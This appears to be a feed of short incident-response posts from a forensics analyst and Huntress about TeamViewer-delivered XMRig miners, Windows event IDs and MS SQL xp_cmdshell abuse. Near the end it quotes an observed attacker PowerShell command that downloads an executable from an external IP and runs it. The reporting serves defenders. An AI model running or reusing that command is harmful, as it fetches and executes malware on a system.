Validating, We can see the following EventIDs in system.evtx which suggests the driver was blocked subsequently leading the service to fail
EventID: 7045 - Service Installation
EventID: 875 - known bad driver blocked from loading
EventID: 7000 - Service Start Failure
It's that time of year, folks...people getting too close to wild animals at our state parks.
Is getting that pic worth a hospital visit? Or worse, a calf being euthanized after it was rejected by the herd b/c you touched it?
Join Harlan Carvey (@keydet89) and Ethan Tancredi for this month's episode of #TradecraftTuesday, where they'll cover what an asset inventory is and the importance of having an accurate, up-to-date inventory. hubs.ly/Q01RMySF0#DFIR
At the end of May 2023, Huntress saw an up-tick in compromised TeamViewer accounts being used to install the XMRig cryptocurrency miner.
Head over to our blog to hear more from our ThreatOps Center (TOC) analysts on how this threat was handled: hubs.ly/Q01RDp070
Posted this to LinkedIn yesterday:
windowsir.blogspot.com/2023/…
Got a "like" from a "DFIR Expert", not due to content, but for the graphic.
Why do I even bother??
The sad part is, the posh600.pl plugin reconstructed the PowerShell commands from the deleted batch file.
1. Batch file downloaded, run, and deleted.
2. TA makes heavy use of PowerShell
3. Powershell from deleted batch file reconstructed.
Recent XMRig activity at @HuntressLabs /@Purp1eW0lf
Legit TeamViewer compromised, PowerShell commands via the clipboard to download nssm and xmrig.
nssm writes to Application.evtx <- Noice!
Looking at TeamViewer logs...is there a way to get the IP address of the remote system that connected to TeamViewer_Services and launched TeamViewer_Desktop?
Are you attending the @ninjaone ITX Security Summit? Huntress is! Harlan Carvey will be speaking on a panel discussing defending against initial access and @_JohnHammond will be playing a session of Backdoors and Breaches. hubs.ly/Q01PJ7dq0
Friday's are always fun in #DFIR...
Seen several times this week:
powershell.exe Invoke-WebRequest http://103.253.43.5:30580/veems.exe -OutFile C:\ProgramData\vems.exe;C:\ProgramData\vems.exe
sqlservr.exe -> cmd.exe -> powershell.exe
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In some instances, seeing brute forcing of MS SQL, most likely accessing xp_cmdshell.
If your endpoint is running MS SQL and Veeam & is patched, look to MS SQL, use of xp_cmdshell...
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